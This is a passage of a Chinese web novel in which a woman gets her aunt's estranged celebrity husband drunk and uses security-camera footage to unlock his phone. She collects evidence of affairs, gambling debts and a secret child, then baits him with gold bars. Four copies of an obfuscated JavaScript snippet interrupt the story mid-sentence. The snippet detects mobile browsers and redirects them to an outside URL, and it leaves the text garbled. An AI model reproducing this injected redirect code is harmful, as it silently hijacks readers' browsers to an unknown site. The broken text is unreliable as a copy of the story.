蒋元磊虽然总把戒酒的事挂在嘴边,但是并没有严格地执行,隔三岔五偷摸喝酒都是常事了。自欺欺人起来,只要没被别人看见,那就不算破戒。 就在向宁和枕安去卧室“喂猫”的短短几分钟里,他一个人又自饮自酌了几杯,离上头的临界线已经不远了。 看到向宁一个人走出房间,蒋元磊用力眨了眨眼,问道:“小安呢?” “他酒劲上来了,有点晕,我让他先在里头缓一缓。” “不会吧?”蒋元磊用力抬起眉毛,动作已经变得迟钝了,醉意尽显,“我看他酒量不错啊,不皱眉不红脸的,怎么突然就晕了?嘿嘿……不是在找借口躲酒吧?” 向宁又帮蒋元磊满上一杯,笑言道:“他酒量很一般的,刚才是死要面子,硬撑呢。” 蒋元磊本来还有所怀疑,可是等到几分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14955511|158356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钟后,枕安迈着虚浮的步子回到餐厅,两颊皮肤红了一大片,他才算是相信了向宁的说法。 接下来几番敬酒,三人都没聊什么有营养的话题。想聊也没办法,因为蒋元磊的舌头已经开始打结了。 估摸着火候差不多,向宁就在桌子下面扯了扯枕安的衣角,提醒他尽快推进下一节剧情。 枕安接到信号,眼皮马上开始打架,仿佛困意上头,实在支撑不住,很快就趴倒在桌子上了。 “诶,小安这是怎么了?”蒋元磊口齿不清地问道。 向宁摆摆手:“喝多了,没事,不用管他。” 蒋元磊打了个哈欠,拿起手机想看看时间,却怎么也看不清屏幕,只得询问向宁:“几点了?” “不到十点半。” “哎呦,这么晚,看来我该走了。”蒋元磊扶着桌子想站起来,奈何双腿不停使唤,屁股总是离不开椅子。 向宁赶忙上前扶他一把,温柔劝道:“蒋叔叔,要不您就别走了,在我这住一晚上吧。” 蒋元磊有些犹豫:“那也太、太打扰你们了。” 向宁摆出一副既关切又担忧的样子,皱眉说道:“您都喝醉了,回家以后一个人待着,连个照顾的人都没有,我怎么能放心啊?” 蒋元磊咂了咂嘴,似乎想说点什么,却只喷出来满腔的酒气。 向宁忍着厌恶把他搀扶起来,安顿在客厅的沙发上。 枕安悄悄睁眼观察,客厅的灯光实在太暗,还没等他看清,就听向宁说道:“行了,起来吧。” 枕安抬起头,仍保持着趴在桌上的姿势,出言确认道:“他睡了?” 向宁将客厅的灯光调到最亮一档,她和枕安都觉得有些刺眼,仰面朝天睡着的蒋元磊却毫无反应。 “睡得跟死猪一样。”向宁答道。 枕安走到她身边,好奇道:“下一步你打算怎么做?” 向宁从茶几上的果盘里抽出一把水果刀,在明亮的灯光下观察它锋利的刀刃,嘴角忽然浮现一抹诡异的笑容。 “杀了他。” 枕安先是一怔,难以置信地朝向宁看去,目光一碰上那双促狭的眼睛,心里紧绷的弦便立时放松了。 “少吓唬我。”他小心夺过向宁手里的水果刀,放回原位,“这个冷笑话一点都不好笑。” “吓唬?”向宁刻意冷下脸,伸手压上枕安的一侧肩膀,指尖游移,慢慢掐住他半边脖颈,“难道你不敢相信我真有这么狠?” 枕安忍着笑意轻轻在她的肩上拍了两下:“我只是不相信你会有那么蠢。” 向宁见吓不到他,不由没了兴致,恹恹道:“怎么说?” 枕安言简意赅,只点出几个关键词:“明星,监控,凶器。” 首先,明星。蒋元磊虽然过气多年,但好歹是个知名度很高的公众人物,不论失踪还是死亡,都势必引起轩然大波。 其次,监控。向宁住的是高级小区,监控探头密度极高,肯定完整记录了蒋元磊前来拜访的经过,包括向宁邀请他进门的画面。 最后,凶器。水果刀实在不是个明智的选择,一旦见血,犯罪现场就会变得极难处理。就算清理干净了,也逃不过鲁米诺反应。 结论显而易见,只要向宁没有蠢到主动找枪子吃的地步,她就绝不会这么鲁莽,这么草率。 “好吧,算你有道理。”向宁耸耸肩,眼神忽地一顿,“但……你是不是忘了我的第四个破绽?” 46. 他是共犯 枕安不解:“什么?” 向宁盯着他的双眼回答道:“目击者。” 如果她真的要行凶杀人,肯定会避人耳目,万一被人看见,就算对方是再好的朋友,也未必会帮她隐瞒真相。 枕安却慢慢摇了摇头:“我可不是目击者。” 向宁疑道:“那是什么?” “很显然——”枕安伸手朝餐厅的方向指去,“是共犯。” 向宁失笑,忍不住插科打诨道:“好吧,为了不连累你后半辈子只能吃牢饭,我还是改天再单独作案吧。” 枕安却变得严肃起来,无奈地抱臂说道:“为了不连累我后半辈子只能穿羽绒服,你还是少讲点冷笑话吧!” 向宁立起一只手掌:“成交。” 枕安跟她轻轻击掌:“一言为定。” 一旁的沙发上,蒋元磊已经睡熟,呼噜打得震天响。 但凡对娱乐圈老牌艺人有所了解的观众,都知道他和向晚蘅是夫妻。 早些年,他们甚至被称为“金童玉女”,不但人气极高,而且口碑极佳,要是放到现在,高低也得是对“国民cp”。 几年前,向晚蘅突然宣布退圈,继而抛下丈夫独自出国,这对过气cp便沦为了观众茶余饭后的八卦谈资,两方粉丝也撕得越来越厉害。 然而没有人知道真相究竟如何。 向宁盯着蒋元磊略显沧桑的脸,在心里冲他啐了一口,继而动手去翻他的上衣口袋。 “要找什么?”枕安也凑上前来,轻手轻脚地帮她翻蒋元磊的裤子口袋。 “他的手机。” “找到了,在这。” 向宁接过蒋元磊的手机,本打算直接用他的指纹解锁,没想到他根本没有设置这项解锁方式。 “有人脸识别吗?咱们可以扒着他的眼皮试试。”枕安问道 向宁失望摇头:“没有,只能用密码解,四位数。” 会是什么呢…… 枕安立刻去网上搜蒋元磊的生日:“试试这个?诶,等等,你知道他过阴历还是阳历生日吗?” 向宁纠结片刻:“都试试吧。” 她先后输入这两串数字,却都显示密码错误。 [还可尝试3次] 枕安又想了想:“会是向老师的生日吗?或者结婚纪念日?” 向宁撇撇嘴:“可能性几乎为零,他在外面都不知道找过多少女人了。” 不过转念一想,这些年来,蒋元磊一直在营销“好丈夫,好父亲,洁身自好痴情男”的人设,并未爆出过任何花边新闻。 也许他这样的表演型人格,即便和妻子感情破裂,也依然会自欺欺人,用她的生日做锁屏密码呢? “试试吧。” 向宁无需回忆就输入了向晚蘅的生日数字,结果却狠狠打了她一记耳光。 [密码错误,还可尝试2次] 结婚纪念日还有必要试吗? 算了算了,就算想试,向宁也不知道是哪天。 等等! 既然蒋元磊请她帮忙缓和他和蒋昭恒的关系,就说明他对这个儿子还是很有感情的,会不会用他的生日做密码呢? 向宁这次很有信心。 结果却是…… [密码错误,还可尝试1次] 枕安见状,终于插了句话:“会不会是你的生日?” 向宁鸡皮疙瘩掉了一地,连打几个冷颤,咬牙道:“救命啊,别恶心我行吗?” 枕安只得捂住嘴:“当我没说。” 向宁气鼓鼓推他一把:“都怪你,我现在满脑子都是这个又奇葩又荒诞又诡异的可能性。要是不试一把,我今晚怕是睡不着了!” 枕安从果盘里叉起一颗草莓塞给向宁:“消消气,消消气。你可是咱们这个犯罪团伙的主心骨,喜怒别形于色嘛。” 向宁一边吃草莓,一边在锁屏界面输入自己的生日。 [密码错误,本机已被锁定,请在3分钟后尝试解锁] 看到这个结果,两人不约而同地松了口气,面对面坐在地毯上,算是中场休息。 向宁对枕安说道:“还有三分钟,别闲着,帮我想想还有什么可能性。” 枕安冥思苦想半晌,终于叹了声气,托腮道:“也不知道警察办案的时候都用什么办法破解嫌疑人的手机密码。” 说者无心,听者有意,这句话还真给向宁提了个醒。 “有个在派出所工作的朋友倒是跟我提过,如果嫌疑人拒不提供手机密码,他们就会去监控录像里找他用手机时输密码的片段,就算看不清屏幕上的数字,也能靠他的动作分析出正确答案。” 好巧不巧,向宁为了能在上班时查看猫猫的情况,在家里装了好几个监控摄像头。 其中一个就在沙发背后的天花板上。 正对着三人当前所在的位置。 向宁调出历史监控,从蒋元磊走进家门时开始播放,八倍速看到她出门以后的场景。 蒋元磊大约是一个人坐着无聊,果然拿起手机开始浏览消息。 监控影像清清楚楚地记下了他的锁屏密码——1111。 “居然这么简单!”向宁扶额。 “可能年纪大了,记性不好,怕设了太复杂的密码容易忘吧。”枕安猜测完,又询问道,“下一步怎么做?” “搜!” 向宁检查一番,确认蒋元磊的手机没有设置双系统后,直接点开微信,只见聊天列表里有三行置顶。 第一行是积了好几条未读消息的经纪人。 第三行是早已把他拉黑,许久没有联系过的蒋昭恒。 至于第二行,是一位备注为“媳妇”的好友,最后一次联系就在几个小时前。很显然,她绝不可能是向晚蘅。 向宁做好心理准备,点开这两人的聊天记录,挑出几段腻腻歪歪的调情对话,录屏发给了自己,继而谨慎地在蒋元磊的手机上删掉了自己的聊天框。 不,只有这些还不够,这只能证明他婚内出轨而已。 向晚蘅当年为什么不离婚?不就是因为手上只有蒋元磊出轨的证据,没办法让他净身出户,为了保住她辛辛苦苦打拼来的财产,所以才远赴国外与他断联的吗? 有些事,她当年不方便做。但是现在,向宁可以为她代劳。 向宁坚信,蒋元磊身上背的脏事绝对不止这一点。 也许,电子支付的账单能提供线索? 向宁本想查一查蒋元磊近几年的消费记录,奈何他有定期删除账单信息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14960727|158356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的习惯,只能查到最近一个星期左右的记录。 使她意外的是,其中的支出金额极少,收入金额却很多。 这些收入来自不同的个人账号,都是大额转账。 向宁一一查看了蒋元磊的好友列表,发现这些人都是他的圈内好友,聊天记录则明确显示了这些钱属于应急借款。 更奇怪的是,蒋元磊对每个人阐述的借钱理由都不相同。 有时说投资,有时说炒股,有时说买车,有时说还贷。 再看他和经纪人的聊天记录,蒋元磊似乎急切地想接新戏,而且不论剧本好坏,只要片酬能让他满意就拍。然而经纪人总是带来令他失望的消息,句句委婉,却都暗含着“过气艺人没戏约”的意思。 这桩桩件件,都指向一个事实——蒋元磊最近很缺钱,且急用一大笔钱。 有意思。 向宁心中升起一种预感。 顺着这条线索查下去,也许能挖到大瓜。 蒋元磊借钱有什么用途呢? 聊天记录里没有新的线索,向宁便退出微信,打算去其他软件里找找线索。 蒋元磊手机里的APP很多很杂,乍看使人眼花缭乱。 向宁思索片刻,目光停留在一个旅游软件的图标上。 奇怪,蒋元磊这样的过气艺人,一年到头也没几个通告,为什么要下载专门用来订机票酒店的旅游软件呢? 就算他经常旅游,这种杂事不也都会交给生活助理去做么? 事出反常必有妖,用最大的恶意揣测蒋元磊总是不会错的,这个软件里一定藏着些见不得光的行程。 向宁打开旅游APP,幸好蒋元磊没有删过订票记录。 “我去!他飞澳门可够勤的,一年十七次。”看到出票信息后,向宁不由啧啧感叹。 枕安也很惊讶:“不会是去赌博的吧?” “我看八九不离十,否则他借那么多钱做什么?”说到这里,向宁又是一阵后怕,“幸亏我阿姨早早躲出国了,否则她挣的那些钱迟早要被蒋元磊糟蹋干净!” 向宁将这些机票记录统统录屏,同样发给自己保留下来。 退出APP前,她忽地灵光一闪,点开了蒋元磊的订房记录。 不看不知道,一看吓一跳。 刨去其他城市的订单,他在本地的订房频率也高得有点离谱了。 蒋元磊明明有自己的房子可住,而且没人打扰,足够他金屋藏娇了,为什么还要频频在外面开房呢? 细看记录,向宁很快便发现,他在本地就认准了某两三家酒店,不定期换着住,每次都只订一晚。 敏感的职业嗅觉告诉向宁,这种情况只有两种可能——要么是约,要么是嫖。 或者……二者兼有? 那么,他是通过什么渠道找的人呢? 回到手机桌面,几个花花绿绿的直播APP吸引了向宁的目光。 向宁一一点开查看,果真如她所料,许多聊天记录都显示他约了不同的女人出来见面。 至于是免费约,还是付费约,聊天记录并没有提供足够的线索。 很显然,蒋元磊是老手中的老手,懂得怎么规避风险。 看来,只能找专业人士对付他了。 47. 意外惊喜 向宁整理好所有录屏,看看时间,已经快十一点半了。 可她偏偏是个急性子,有什么事都不想拖到第二天。 “我得出去一趟,你看着点蒋元磊。如果我还没回来他就醒了,你就说我是去买醒酒药的。” 枕安和她一块站起身来,关切道:“这么晚了还出门,什么事啊?” “搬救兵。” 向宁快速穿好外套,扎了个利索的高马尾,把蒋元磊的手机放回他的裤子口袋里。 枕安固然想陪她一起去,可又不得不留下守着蒋元磊,只得目送向宁独自离去了。 向宁要去的地方并不远,和小区就隔着两条街,是她最常光顾的派出所。 今晚值夜班的几个警员都是熟脸,向宁进门后先打了个招呼:“大小王警官,晚上好。” 一开口就叫外号,可见她和他们也算有些交情。 两人同时应了一声,小王警官抢先问道:“向宁,又来捞人了?” “别胡说!”大王警官用胳膊肘顶他一下,“咱们最近也没抓明星啊!” 小王警官不太服气,嘟囔了一句:“她们公司又不是只有明星,天知道这次要捞谁……” 向宁不掺和这俩人的日常斗嘴小游戏,微笑问道:“我这次不捞人,只找人。请问严晓梅警官在吗?” “不在,队长出外勤了。”大小两位王警官异口同声。 “也就是说,她还没下班,是吗?” “对,夜班,你找她有事吗?” 幸好幸好,严警官还没下班,现在找她并不算特别打扰。 向宁点点头,笑着搪塞道:“私事,我直接给她打电话吧,你们先忙。” 离开派出所,向宁一连拨了好几次电话才接通。 “喂,向女士,什么事?”严晓梅那边的环境音略显嘈杂。 向宁隐晦暗示道:“梅姐,我来给你们送业绩了。” 严晓梅顿了顿,很快就猜到了她的意思,建议道:“这样,你要是方便的话就先去所里,我目前不在,有什么事你直接跟大小王说就行。” “梅姐。”向宁的语气变得严肃起来,“我这次是匿名举报。如果要真正做到匿名,我只信得过你。” 其实严晓梅对向宁的印象一直不太好,这也不能怪她有偏见,实在是因为向宁的职业就仿佛与“助纣为虐”四个字牢牢绑定了。 可是此时此刻,严晓梅权衡一二,终于还是低声道:“行,稍等。” 半晌,直到对面嘈杂的环境音渐渐变得安静,她才继续问道:“什么案子?” “□□。”向宁刚说完,又连忙补充了半句,“多次。” 严晓梅追问道:“你来送的业绩,不会是明星吧?” “恭喜你,答对了。”向宁对着手机话筒打了个响指,“是蒋元磊,虽然过气了,但是知名度在那摆着呢。” 严晓梅对娱乐圈不太了解,虽然知道蒋元磊其人,却不清楚他签的是哪家公司,不免疑惑道:“这个人跟你们公司的艺人有什么竞争吗?” 如果向宁打的是以公谋私、借刀杀人的算盘,她就不得不怀疑一下这份举报的真实性了。 殊不知向宁的回答完全出乎严晓梅的预料。 “这个人,就是我们公司的艺人。”向宁无声轻笑,“所以,我才要‘匿名’举报呀。否则一旦被公司知道,我就要吃不了兜着走了。” 严晓梅快速在网上查证了她所言非虚,这才接着问道:“你那边目前有掌握什么证据吗?” “有蒋元磊的订房记录和聊天记录,我录了视频,要先发你看看吗?” “行,先发来吧,我跟同事研究研究。” 成功搬到这个救兵,向宁心情大好,走在回家的路上不禁轻声哼起歌来。 一首歌才哼到一半,向宁就接到了枕安的电话。 本以为这是他发来的信号,提醒她蒋元磊已经醒了。 接起电话以后向宁才知道,原来枕安帮她挖到了另一个意外的惊喜。 …… 向宁回到家时,蒋元磊仍然沉沉睡着,已不知沉醉在第几层梦境。 枕安打开蒋元磊的手机,把自己的调查结果展示给向宁看。 “他的密码,1111,应该就是这个小孩的生日。” 点进蒋元磊备注为“媳妇”那人的朋友圈,近几年的11月11号,她都会分享自己给儿子过生日的照片,但是小孩的父亲从来没有露过脸。 “这小孩八成是蒋元磊的私生子。”向宁马上下了结论,带着点兴奋的情绪。 这个结论一旦被证实,那就是个大猛料,要是上了热搜,后面肯定得跟着个“爆”字标签。 枕安补充道:“从他妈妈发的朋友圈来看,他现在已经六岁多了。” 向晚蘅与蒋元磊的婚变传闻始于四年前,只要能捏死这个把柄,蒋元磊在舆论战中就没有什么翻身的余地了。 可是,向宁的目标远不止于此。 对如今的向晚蘅而言,风评好坏都是浮云,经济利益才是实打实的重头戏。 即便把蒋元磊有私生子的证据递交至法庭,法官也不太可能判他净身出户。 既然如此,这个雷还是先帮他埋着吧,等时机恰当再主动引爆,打他个措手不及。 向宁留了个心眼,用蒋元磊的账号把他“媳妇”的好友名片推给自己。先不急着添加好友,留着以后再用。 她的微信号就是手机号,向宁一并存进通讯录里。 搞定,收工! 忙碌一天,躺进被窝已是半夜,向宁刚闭上眼睛,就接到了严晓梅警官打来的电话。 一听到对方打招呼的语气,向宁就知道情况不妙,但还是不死心地问道:“怎么样,能抓吗?” “不太行,主要是证据不足。” 向宁心里一紧:“具体是缺哪方面证据呢?” “第一,他们的聊天记录遣词造句非常隐晦,狡辩空间很大。第二,没有任何付款记录,虽然不能排除现金支付的可能性,但如果真是这样,暂时就只能疑罪从无了。他毕竟是公众人物,在掌握确凿证据之前,我们也不好贸然传唤。” 向宁失望地叹了口气,正想再坚持一下,就听严晓梅话锋一转,又带来了新的希望。 “不过也不用丧气,我们已经在系统内部给他做好标记了。以后只要他在本地订酒店,前台一登记,我们就能收到提醒。到时候抓个现行,他就无从辩驳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14967269|158356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。” 向宁的心情大落大起,欣喜道:“那就麻烦你们了,严警官,多谢。” “别谢别谢,职责所在。” 严晓梅顿了顿,在向宁说再见时与她异口同声道:“诶,那个——” “嗯?您说。” “蒋元磊……是向晚蘅的丈夫。” “对。” 严晓梅沉默几秒,用陈述句委婉地表达疑问:“你也姓向。” “嗯。”向宁给自己编了个合理的新身份,糊弄道,“我是向阿姨的娘家亲戚。” “怪不得。”严晓梅深信不疑,难得与她闲聊一句,“早些年,向老师还在京剧团的时候,我是她的铁杆戏迷呢。” 每次回忆到这里,她都要暗叹一声:唉,这样好的名旦,怎么就倒了嗓呢? 向宁不料还有这一层渊源,心中暗喜,随即轻描淡写地吐了几句苦水,只道蒋元磊多么不是东西,如何伤害了向晚蘅云云。 严晓梅听罢也是同仇敌忾,向宁见她态度如此,便知道这件事绝不会和简晓夜的录音笔一样石沉大海,不了了之。 杜琮身后有资本撑腰,蒋元磊可没有。 …… 一夜无梦。 次日早上,向宁破天荒在闹钟响铃之前就睡醒了,肚子咕噜一声,紧接着便闻到若有似无的饭菜香味从门缝挤进来。 洗漱完,向宁伸着懒腰走去餐厅一看,枕安正在厨房里切水果,桌上已分好了两份早餐,肉蛋奶一应俱全。 咦?有吧唧嘴的声音,是谁? 向宁循声望去,只见猫猫把头埋进碗里,正在享用枕安昨天对它承诺过的“大餐”。 听它绵软悠长的声音,就仿佛在说: 天呐,什么神仙室友! 灶神下凡,还是田螺成精? 此时此刻,如果沙发上没有那位仍在打呼噜的醉汉,这幅画面一定会更和谐,更温馨。 “早啊!”向宁对着厨房道。 “早安。”枕安端出一盆水果沙拉,斜扫蒋元磊一眼,问道,“他要是中午才醒,咱还管饭吗?” “美得他!”向宁朝蒋元磊甩去一记眼刀,“一会我给他留两条消息,就说咱们都去上班了,让他自己照顾好自己。到时候你带着猫猫待在卧室,把门反锁好,等他走了再出来就行。” 枕安应了一声,又犹豫着问道:“你几点下班,晚饭回家吃吗?” 向宁摇摇头:“没那福气,天天加班。” 枕安似乎还想问什么,向宁却没注意到他纠结的表情,飞速吃完早饭后夸赞两句,紧接着便出门上班去了。 随着关门声落下,枕安的动作也慢了下来,吃一口,出一会神。 向宁按时赶到公司打完卡,周一综合征立刻发作,干什么都提不起精神。 那就先摸摸鱼,处理一下私事吧。蒋元磊请她帮的忙,可还没有眉目呢。 即便再如何抗拒,向宁也不得不给蒋昭恒打个电话。 用的是老号码,也不知道他拉黑没有。 “嘟——嘟——嘟——” 哦,有等待音,那应该没拉黑。 向宁正琢磨着,手机忽然轻轻振动了一下,提示她电话已经接通。 48. 小心思 电话已经接通,可是对面的人没有说话。 也不知道是不是在玩“谁先开口谁就输”的幼稚游戏。 向宁不陪他搞精神胜利法,大大方方道:“是蒋昭恒吗?我是向宁。” 对面的态度依然冷冰冰:“我知道,有事吗?” 向宁先打探基础情报:“你什么时候开始上班?” 蒋昭恒仿佛惜字如金:“今天。” 向宁压根不在乎他态度如何,继续问道:“哪家律所?我查查看离我们公司远不远。” 不知道这个问题又踩到了蒋昭恒的哪根敏感神经。 他沉默许久,没有回答前半个问题,只说结论:“在同一个园区。” 不得不承认,蒋昭恒找工作时存着些不可言说的小心思。 比起向宁打这通电话的意图,他现在更想知道的是—— 她……能猜到他的心思吗? 出乎他意料的是,在能和否之间,向宁选择了第三条路——压根不猜。 听到蒋昭恒的回答,她的语气并无波澜:“中午有空吗?一块吃午饭吧,有正事跟你聊。” 在她看来,既然两个人的公司离得不远,正好可以在午饭时间碰个头,速战速决,免得节外生枝。 然而在蒋昭恒看来,这次午饭邀约实在诡异。 她不是已经有男朋友了吗? 为什么还要主动跟前男友联系? 不觉得两个人一起吃饭有点暧昧了吗? 她什么意思? 想复合吗? 那也未免太好笑了,突袭式约饭,搞得像居高临下赏他一个复合机会似的,把他当什么人了? 再说了,她大概率还没和昨天那个电梯男分手呢,难不成要脚踏两只船吗? 乱七八糟的想法像弹幕一般飞速划过脑海,最终却只浓缩成两个字。 “有空。” 于是二人约好,中午十二点碰头。 一上午忙忙碌碌,离午休时间越近,蒋昭恒心里越不踏实。 不知怎么的,明明事情八字还没一撇,他心里就莫名涌起了一种罪恶感,好像已经做了什么不道德的事似的。 午休时间将近,蒋昭恒临时决定不去赴约,发了条消息告知向宁。 “今天事多,中午没空。” 向宁很快回复。 “那就晚上吧,下班了告诉我一声。” 蒋昭恒看到这条消息,太阳穴狂倏地跳一下。 怎么个意思,这饭还非吃不可了? 心头压着负担,午休也休不好。蒋昭恒索性自我催眠,思忖道:就算有什么道德包袱,也应该由她来背,跟我没关系。 想到这里,他便有了短暂的勇气,回复道:“好。” 放下手机却又后悔起来。 早知这样,何必取消中午的饭局呢? 现在可倒好,离晚上下班还有几个小时,又得煎熬着过了。 蒋昭恒那边如坐针毡,向宁这边却毫无感觉。 临近年会,同事们摸鱼的话题也多了起来。 麦秋兴冲冲地问起实习生是否也能参加年会,得到肯定的答案后,马上开始仔细阅读行政发的几条通知。 “向宁姐,这里说年会当晚可以各回各家,也可以住酒店耶,你住吗?” 向宁托腮盯着电脑,目不转睛道:“我回家。住酒店的话,第二天还得早起统一退房。我不行,我要睡懒觉。” 麦秋一转眼,凑到她办公桌旁悄声道:“我想住酒店,可是行政说两人一间,让同性的同事们自己找人组室友。其他熟人都组好队了,我又不想跟随机分配的陌生同事住。要不这样,咱俩先把名字报上去,到了那天,你就直接回家,我一个人住酒店,反正也是公司报销,你看怎么样?” 向宁想了想,这也算助人为乐的事,不会给自己添什么麻烦,便痛快答应了。 到了午休时间,向宁正要下楼吃饭,就被枕安发来的消息牵住了脚步。 [枕安]蒋元磊醒了。 [枕安]没走。 [枕安]我听声音不太对,你还是看看监控吧。 声音不太对? 向宁倒是好奇,怎么个不对法? 调出历史监控,从蒋元磊醒来时开始播放。只见他起初一脸茫然,在沙发上静坐了半晌,左顾右盼几个来回,看看手机,又睡了个回笼觉。 这一觉时间不长,蒋元磊醒来后自己去厨房找了点吃的,而后边啃水果边在房子里转悠。 因为是三倍速播放,历史监控的时间条很快拉完,就变成了现场直播。 向宁把直播链接发给枕安,一起围观蒋元磊的独角戏,用实时弹幕沟通。 [枕安]他贴在我的卧室门上干什么? [向宁]不知道,还好你锁门了。 这套房的隔音效果极好,蒋元磊听了半天也没动静,门又打不开,只得更换目标,来到了简晓夜的卧室门前。 [枕安]简小姐锁门了吗? [向宁]没事,我帮她锁了。 果然,蒋元磊转了半天门把手,再一次失败而归,从肢体语言都能看出挫败感。 [向宁]要不要猜猜他下一个目的地是哪? [枕安]书房? [向宁]我猜是我的卧室。 [枕安]他不敢吧…… 二人静观其变,却见蒋元磊改换路线,先去上了趟厕所,于是两人的猜测都成了错误答案。 三分钟后。 [枕安]他怎么真敢进你卧室啊! [枕安]早知道我就帮你锁下门了。 [向宁]不用,我特意给他留的门。 [枕安]? 二人牢牢盯住屏幕,只见蒋元磊一进门就开始翻箱倒柜,蹑手蹑脚的,动了什么东西还记得放回原位。 [枕安]他找什么呢? [向宁]他缺什么,你忘了? [枕安]钱? 可是这年头,谁还在家放大额现金呀? 诶……等等! [枕安]祝璋姐给的金条和玉簪,你不会收在卧室了吧? [向宁]玉簪放在晓夜屋里了,金条本来收在书房,昨晚我特意移到我卧室里,放在没锁的柜子里了。 她就是想看看,现在极度缺钱,疑似欠了赌债的蒋元磊会不会对她家里的贵重物品动歪心思。 如果他手脚不干净,偷点现金、电子产品、珠宝首饰什么的,向宁都不会立刻报警。 不为别的,只为与他维持表面和谐,避免早早撕破脸,因小失大。 可金条不同。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14973955|158356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>它现在虽然属于向宁,可是只要事后对好口供,它就可以变成祝璋的财产,只是由向宁“代为保管”一段时间。 到时候祝璋坚持要报警,向宁再如何“痛哭流涕”地为蒋元磊求情,也是无济于事。 而她家里的监控,就是铁证。 这样巨大的涉案金额,够蒋元磊进监狱里踩好几年缝纫机了。 [枕安]你说的,是他正在翻的这个床头柜吗? 无需向宁回答,蒋元磊已经在下一秒取出了装金条的盒子,打开以后脚下一个趔趄,摔倒在地。 那盒子仿佛是什么烫手山芋,蒋元磊没有抓稳,一甩就滑到了地板上,在地毯边缘停了下来。 几秒后,蒋元磊手脚并用爬到地毯上,眼中闪着贪婪的光,却迟迟没有下一步动作。 枕安眉头紧皱,满脸鄙夷。 向宁勾唇微笑,暗含期待。 两个人,两条实时弹幕,心有灵犀似的,竟同时从屏幕右端冒出头来。 [向宁]你猜,他敢偷吗? [枕安]我猜,他还真敢偷。 蒋元磊并不知自己被两道遥远的目光注视着,定了定神,抄起金条就往外跑。 跑到一半,他忽又折返回来,小心翼翼把盒子盖好后放回原位。还去厨房取来一块抹布,仔细擦干净自己碰过的每一处区域,避免留下指纹。 向宁自然大喜过望,连午饭都忘了吃,打算一会直接联系祝璋串供。 然而令她失望的是,蒋元磊宿醉未醒,跑到玄关换鞋时一个没站稳,便摔了个四脚朝天,眼冒金星,缓了许久才爬起来。 就在这起身之际,他半眯着眼往天花板上一瞧——咦,那是什么? 蒋元磊揉揉眼睛,目光慢慢聚焦,看清以后,立时出了一身冷汗。 还能是什么? 监控摄像头呗! 不偏不倚,正装在门口,怕不是专门用来防贼的吧! 蒋元磊两手撑地,正在权衡利弊得失,却忽然发现刚才那一摔把口袋里的金条摔了出来,就按在他左手下面,藏一半,露一半。 这下他可不敢轻举妄动了。 本来觉着,向宁未必能很快发现金条丢失的事。如果没有监控,就算她发现了,也未必会怀疑他。就算怀疑了,也没有证据。 可是现在他自己主动给人家送上了证据,这不是等着警察来抓嘛! 为今之计,只有一条路可走。那便是老老实实把金条给人家还回去,只盼向宁没有定期查看监控的习惯,千万别发现他曾经动过歪心思。 毕竟蒋元磊想和儿子缓和关系,还指望着人家帮忙不是? [枕安]他怎么又放回去了? 偷了东西,玩完又还给失主,什么意思?致敬武林外传白展堂么? [向宁]估计是发现门口的监控了。 还好蒋元磊做贼心虚,没敢留在她家多转悠,早早离开了。否则万一他发现家里处处是监控,向宁就算想假装对这件事一无所知,也不好装傻了。 唉,这么好的机会却没整倒他,真是可惜。 不过也没关系,别人是身正不怕影子斜,蒋元磊是“身斜不怕影子正”。 这一跤跌倒了还能爬起来,不代表他以后不会再跌一跤更狠的。 向宁拭目以待。 49. 最后一次 晚上七点,麦秋按时下班回了学校,向宁还在加班给况星宸排通告单,忙活到九点多才闲下来。见缝插针打会游戏,十点出头才收到蒋昭恒的消息。 其实他今天刚刚入职,并没有多少事可以忙,但还是硬生生把赴约的时间拖到了十点。 也许拖到这么晚,向宁没耐心一直等,就会主动取消邀约了吧,他想。 蒋昭恒也不知道自己为什么对她如此逃避,却狠不下心主动拒绝。 也许是因为人家并没有明示复合,他不想让自己沦为自作多情的小丑? 也许是他内心深处并非真想逃避,只是过不去道德的门槛,所以才摆出那一副做作样子? 这个问题太复杂,他想不清楚,也不愿继续去想。 